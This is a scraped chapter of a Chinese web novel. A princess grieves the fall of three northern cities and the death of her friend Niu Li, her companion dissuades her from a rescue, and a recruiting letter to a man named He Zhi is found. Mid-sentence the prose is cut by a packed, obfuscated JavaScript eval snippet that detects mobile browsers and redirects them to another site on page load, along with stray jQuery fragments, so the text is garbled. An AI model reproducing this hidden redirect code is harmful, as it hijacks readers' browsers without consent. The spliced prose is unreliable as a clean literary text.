默认冷灰
24号文字
方正启体

65. 第 65 章

作者:大家没吃饱吧本书字数:K更新时间:
    “整个北境三城都沦陷了?怎么可能!”


    缈映雪实在想不通,明明在她被关进牢里之前,她还在反复强调,北境的边防之事。算过北境出事以后,玉京的支援速度,怎么也不该一两月里,接连沦陷三座城池。


    “姑娘你是玉京的,不知道也算正常。玉京那边很忌讳这事呢,大部分百姓估计都不知道呢。听说只要敢提北境三城的事,都得被他抓紧大牢里关着。怎么可能派救援。朝廷不行咯,去年下半年,好不容易过了些安生日子。怎么开春以后,难熬成这样了。”


    身后有食客插话道:“去年下半年好过,是因为当时皇上不管事,内阁管事,内阁里有个大人听说还不错。那位大人叫什么来着?哎,记不清了。但听说那位大人开春就犯了事,坐了大牢。皇上身边的那位公公,几乎把内阁架空了,皇上处理事情越发荒唐了。”


    缈映雪不死心地问道:“哪怕皇上昏庸,也不可能在北境三城沦陷后,毫无作为的。他怎么可能一点支援都不派?”


    “这......我想起来了。似乎是派过一支,就在北境已经被占完了,起义军防线都修好以后。明眼人都知道,那时候派人过来,一大半都是来送死的。夺回来的可能性太低了,皇上也看起来并不重视。感觉只是派人过来,走个场面。那时候正是科恩结束吧,听说先行兵领头的几个,都是科举刚出来的书生。朝廷的后行兵迟迟不到,这先行队果然没撑多久,就全部被生擒了。”


    一直在身旁陪着她的季烨之,突然转身来抓着她的肩膀,柔声道:“殿下,这不是你的错。不要太过伤心。”


    缈映雪听到这话,才从面汤的倒影里,瞥见自己竟然已满脸泪痕。


    原来她已经在哭了,哭得无声无息,哭得无根无由。


    “如果我当初没有急着去清君侧,去找那太监的麻烦。让皇兄再多信任我一点,我起码能让兵部的军力、户部的粮食支援,更快一点更多一点到北境。也许就很不一样了。我明明算过账的,北境三城有天然的地势优势,只要补给给到,绝不可能在短短两个月里,就全部沦陷的。”


    她说得声音很小,只有季烨之听到了。季烨之用袖袍挡着她,让她可以先尽兴哭出来,而后递了手帕,等她整理好状态。毕竟这是在外面,而且她如今的身份算不上光明,举动里难免要注意一些,尽量避免引人耳目。


    “殿下唯一的错处,便是做了臣子。所以有这许多无能为力的委屈。太有才能的臣子,在太过昏庸的帝王面前,也得不到什么好结局。”


    缈映雪收拾好心情,道:“去了颜国以后,是不是就没什么机会回来了。”哪怕她你不去颜国,也没机会回去了。从她选择逃狱那天开始,就注定了她再也无法光明正大地在玉京立足了。


    “玉京有殿下的许多故人。若是殿下舍不得,总是还能想些办法同他们通通书信。”


    她戳了戳面汤,觉得连通书信这个选择,也附带了极大的风险。她不希望因为自己的一封信,给故交好友们留下隐患。只要知道他们过得好不好,她就放心了。哪怕与他们断了往来,就像她给青禾、牛砾写的绝交信一般。


    “青禾、牛砾他们,应该不希望再收到我的书信了。听闻他们都中了科举,往后的前途应当是很好的。”


    隔壁桌的食客突然道:“牛砾?这两名字似乎有些耳熟啊。好像在哪听过一样。”


    缈映雪听到这话,连忙转过去,道:“听过这名字吗?他们今年才中了科举,应当是已入朝为官几月了。是不是他们当了大官,做出了一些功绩,所以坊间都能知道他们?还是说,他们被朝廷外派到了舟口附近,来这里办过一些事?”


    “玉京的大官,哪里轮得着我们这些小地方的人知道。这牛砾是今年科举的?哎哟!我想起来,方才不是说过,朝廷在北境三镇沦陷的时候,派过一次支援吗?那时候正是科恩结束,先行兵带队的书生,好像就是叫牛砾。当时先行兵一直在苦撑,等着朝廷派的主力军到达,但实在撑不到了。牛将军表现得十分英勇,企图力挽狂澜,被活捉后,仍是不肯投降,听说他最后是被起义军处死了。”


    “不止如此啊。听说这个牛砾,是自请了,来北境三城的,还是带着妹妹和最好的朋友。结果妹妹和朋友都被活捉了,他为了保护他们,被劝了多次投降,还是不肯,最后才就义的。”


    “哎,听说都是小年轻的。朝廷也真是的,主力军迟迟不到,这不是糟蹋人家孩子吗?哎,大好的前程啊。”


    ......


    “殿下,早点休息。等明天一早,我们就去颜国。”


    季烨之说完这句话后,在缈映雪的房门前站了很久,他给她留足空间,让她悲伤。


    门突然被打开了,缈映雪穿着夜行衣,很惊讶他还在门口,道:“我出门买点吃的,很快回来。”


    季烨之没有拦,只是在她擦身而过时,道:“临砾城的城门很严,出入必须有邀约的信物。没有信物的,不可能开门。死角蛮缠的,会直接在那里被看守的人攻击。”


    他猜中了。猜中她不过是借着买东西的幌子,想偷偷去临砾城。


    “殿下,没有信物、没有相关的身份。你连城门都进不了,更别提是进入樊九的军营,接触被关押的俘虏。而且,殿下没有半点武功。在那种拳头才是王道的地方,殿下怎么活下去,又怎么救人呢?”


    “可是青禾和牛芜......他们还在那里!我不能留他们在那里!不能跟他们的最后一句,是一封桥归桥、路归路的绝交信。”


    季烨之看着她眼中的坚持,无奈地叹了口气,将她抱在了怀里。


    “殿下,求求你。不要去,好不好?”


    他很少跟人,用这种口吻说话。乞求的话语里,带着安抚的哄劝。因为他知道,她实在太固执了。上一世便是如此,实在是为了太多太多这样的人,带着最微薄的实力、最渺茫的希望而苦苦支撑。


    “殿下不是说过吗?你希望一直存在的,不会很快消失的东西。殿下跟我去颜国,以后我都会在殿下身边了。殿下说不希望耿霖河,我们也可以再徐徐图之。等骗得他的半块玉符到手,殿下就再也不用理他了,可以随心所欲做任何事。而我,会


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125095|196026||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一直陪着殿下。这样不好吗?至于北境三城,起义军占了就占了吧。殿下如今,只是一介普通人了。国家之事,太重了,不该由殿下来扛着。殿下为蔚国做的,已经够多了......”


    夜晚的客栈很安静,季烨之有意安抚她,带她走到中庭,聊了很久。主要是季烨之在说,缈映雪垂着头,时不时侧头看看他。神色里有些魂不在身的空洞,就像是在巨大悲伤下,因为无能为力,所以身体为自保,抽离了所有感情和注意力,变成一尾随风飘的无主孤舟,被周围的波浪推着前行。


    这时候,他们听到了信差和客栈老板的谈话声。似乎是有位客人早定下了房,但出去了好几日,还没回来。但他的相关信件却来了,客栈老板却不肯代收。


    “那客人穷得很,现在还欠着几天住宿费没交呢!现在让我给他保管信件,做梦!以后我连他的生意都不会做了!穷光蛋一个!”


    信差也不管,把信件往地上一丢,道:“这可是北境三城的起义军军营里送出来的信。你不肯接,我也不敢存啊!谁知道里面是什么?反正我是送到地方了,这信也跟我无关了!”说完便扬长而去了。


    还在听季烨之说话的缈映雪,一下子回了魂,连忙朝那里几步走,问客栈老板是怎么一回事。


    “提起那位穷光蛋客人,我就恼火。全身上下一个子都没有。当时我听他说是从西南过来的,一想是那么远的地方,好心给他一间房,让他先住着。结果啊,他就赖着不肯走了。总是说在等时机、等贵人,还说等到了贵人以后,少不了我的钱。结果呢?前些日子,不知道去了哪里,也许是真被贵人带走了,也许是知道还不起客栈钱,跑了不敢回来了。净会给我惹麻烦,这次又是起义军的军营送的信,送到我们店里,真是要把我拖累死啊!”


    西南来的......等贵人......起义军军营......


    季烨之直接拿了那信,缈映雪拦了拦道:“这别人的信件,拆了不太好。到时候对方回来知道了,保不齐要找老板的麻烦。”


    季烨之拿了一锭银子扔到客栈老板的手里,对着老板、也对着缈映雪道:“这信的主人,可能跟我是旧交。他欠的住宿费,我还了。就当是,拆他信件的赔罪。”


    果然纸张展开的起首一句称呼,便是——何执。是樊九亲自写给何执的,字有些歪歪扭扭的不工整,但心意很足。这是一封邀请函,从信件内容来看,何执拒绝了不止一次。但樊九的诚意不减,给何执的地位和待遇,一直在提高。许诺了何执的最高军师身份,许诺了他二把手的位置,只要他肯来北境三城。


    季烨之看着信,心里涌起许多困惑。何执并没有像上一世一样,接受了樊九的邀请,那他等待的贵人若不是樊九,又会是谁?舟口附近,除了起义军外,可只有颜国了。


    缈映雪也看到了信上的内容,道:“这个何执,真的是你的旧交?为什么起义军,如此恳切邀请他?”


    “确实是旧交。”季烨之想到这个人,想到他上世的所为所行,心里的仇恨在不断滋长:“殿下一定要记住,离此人远一些。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)